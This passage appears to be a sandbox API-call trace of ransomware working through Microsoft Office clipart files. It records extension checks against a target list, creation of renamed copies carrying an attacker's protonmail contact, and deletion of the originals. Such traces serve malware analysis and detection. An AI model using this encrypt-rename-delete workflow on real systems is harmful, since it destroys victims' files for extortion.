lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.769] lstrlenW (lpString=".1cd") returned 4 [0294.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0294.769] lstrlenW (lpString=".jpg") returned 4 [0294.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.769] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.769] lstrlenW (lpString="DD01151_.WMF") returned 12 [0294.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0294.770] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2960) returned 1 [0294.770] CloseHandle (hObject=0x109c) returned 1 [0294.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0294.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0294.770] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.770] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0294.770] GetLastError () returned 0x0 [0294.770] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xb90, lpOverlapped=0x0) returned 1 [0295.248] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xba0, lpOverlapped=0x0) returned 1 [0295.249] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.249] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.249] SetEndOfFile (hFile=0x10c0) returned 1 [0295.249] CloseHandle (hObject=0x10c0) returned 1 [0295.249] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.249] SetEndOfFile (hFile=0x109c) returned 1 [0295.250] CloseHandle (hObject=0x109c) returned 1 [0295.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0295.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.251] lstrlenW (lpString=".doc") returned 4 [0295.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.251] lstrlenW (lpString=".docx") returned 5 [0295.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.251] lstrlenW (lpString=".pdf") returned 4 [0295.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.251] lstrlenW (lpString=".xls") returned 4 [0295.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.251] lstrlenW (lpString=".xlsx") returned 5 [0295.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.251] lstrlenW (lpString=".ppt") returned 4 [0295.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.251] lstrlenW (lpString=".zip") returned 4 [0295.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.252] lstrlenW (lpString=".rar") returned 4 [0295.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString=".bz2") returned 4 [0295.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString=".7z") returned 3 [0295.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.252] lstrlenW (lpString=".dbf") returned 4 [0295.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.252] lstrlenW (lpString=".1cd") returned 4 [0295.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.252] lstrlenW (lpString=".jpg") returned 4 [0295.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.252] lstrlenW (lpString=".doc") returned 4 [0295.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString=".docx") returned 5 [0295.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.252] lstrlenW (lpString=".pdf") returned 4 [0295.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.252] lstrlenW (lpString=".xls") returned 4 [0295.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.252] lstrlenW (lpString=".xlsx") returned 5 [0295.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.252] lstrlenW (lpString=".ppt") returned 4 [0295.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.253] lstrlenW (lpString=".zip") returned 4 [0295.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.253] lstrlenW (lpString=".rar") returned 4 [0295.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.253] lstrlenW (lpString=".bz2") returned 4 [0295.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.253] lstrlenW (lpString=".7z") returned 3 [0295.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.253] lstrlenW (lpString=".dbf") returned 4 [0295.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.253] lstrlenW (lpString=".1cd") returned 4 [0295.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0295.253] lstrlenW (lpString=".jpg") returned 4 [0295.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.253] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.253] lstrlenW (lpString="DD01160_.WMF") returned 12 [0295.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0295.254] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2228) returned 1 [0295.254] CloseHandle (hObject=0x109c) returned 1 [0295.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0295.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0295.254] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.254] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0295.255] GetLastError () returned 0x0 [0295.255] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x8b4, lpOverlapped=0x0) returned 1 [0295.390] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x8c0, lpOverlapped=0x0) returned 1 [0295.391] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.391] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.391] SetEndOfFile (hFile=0x10c0) returned 1 [0295.391] CloseHandle (hObject=0x10c0) returned 1 [0295.391] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.392] SetEndOfFile (hFile=0x109c) returned 1 [0295.392] CloseHandle (hObject=0x109c) returned 1 [0295.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0295.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.393] lstrlenW (lpString=".doc") returned 4 [0295.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.393] lstrlenW (lpString=".docx") returned 5 [0295.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.393] lstrlenW (lpString=".pdf") returned 4 [0295.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.393] lstrlenW (lpString=".xls") returned 4 [0295.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.393] lstrlenW (lpString=".xlsx") returned 5 [0295.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.394] lstrlenW (lpString=".ppt") returned 4 [0295.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.394] lstrlenW (lpString=".zip") returned 4 [0295.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.394] lstrlenW (lpString=".rar") returned 4 [0295.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".bz2") returned 4 [0295.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".7z") returned 3 [0295.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.394] lstrlenW (lpString=".dbf") returned 4 [0295.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.394] lstrlenW (lpString=".1cd") returned 4 [0295.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.394] lstrlenW (lpString=".jpg") returned 4 [0295.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.394] lstrlenW (lpString=".doc") returned 4 [0295.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".docx") returned 5 [0295.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.394] lstrlenW (lpString=".pdf") returned 4 [0295.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".xls") returned 4 [0295.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.395] lstrlenW (lpString=".xlsx") returned 5 [0295.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.395] lstrlenW (lpString=".ppt") returned 4 [0295.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.395] lstrlenW (lpString=".zip") returned 4 [0295.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.395] lstrlenW (lpString=".rar") returned 4 [0295.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".bz2") returned 4 [0295.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".7z") returned 3 [0295.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.395] lstrlenW (lpString=".dbf") returned 4 [0295.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.395] lstrlenW (lpString=".1cd") returned 4 [0295.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0295.395] lstrlenW (lpString=".jpg") returned 4 [0295.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.396] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.396] lstrlenW (lpString="DD01169_.WMF") returned 12 [0295.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0295.396] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2020) returned 1 [0295.396] CloseHandle (hObject=0x109c) returned 1 [0295.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0295.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0295.396] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.397] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0295.397] GetLastError () returned 0x0 [0295.397] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x7e4, lpOverlapped=0x0) returned 1 [0296.170] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0296.171] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.171] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.171] SetEndOfFile (hFile=0x10c0) returned 1 [0296.172] CloseHandle (hObject=0x10c0) returned 1 [0296.172] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.172] SetEndOfFile (hFile=0x109c) returned 1 [0296.172] CloseHandle (hObject=0x109c) returned 1 [0296.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.173] lstrlenW (lpString=".doc") returned 4 [0296.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString=".docx") returned 5 [0296.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.173] lstrlenW (lpString=".pdf") returned 4 [0296.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString=".xls") returned 4 [0296.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.173] lstrlenW (lpString=".xlsx") returned 5 [0296.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.173] lstrlenW (lpString=".ppt") returned 4 [0296.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.173] lstrlenW (lpString=".zip") returned 4 [0296.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.173] lstrlenW (lpString=".rar") returned 4 [0296.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString=".bz2") returned 4 [0296.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString=".7z") returned 3 [0296.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.174] lstrlenW (lpString=".dbf") returned 4 [0296.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.174] lstrlenW (lpString=".1cd") returned 4 [0296.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.174] lstrlenW (lpString=".jpg") returned 4 [0296.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.174] lstrlenW (lpString=".doc") returned 4 [0296.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString=".docx") returned 5 [0296.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.174] lstrlenW (lpString=".pdf") returned 4 [0296.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString=".xls") returned 4 [0296.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.174] lstrlenW (lpString=".xlsx") returned 5 [0296.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.174] lstrlenW (lpString=".ppt") returned 4 [0296.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.174] lstrlenW (lpString=".zip") returned 4 [0296.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.174] lstrlenW (lpString=".rar") returned 4 [0296.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.174] lstrlenW (lpString=".bz2") returned 4 [0296.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.175] lstrlenW (lpString=".7z") returned 3 [0296.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.175] lstrlenW (lpString=".dbf") returned 4 [0296.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.175] lstrlenW (lpString=".1cd") returned 4 [0296.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0296.175] lstrlenW 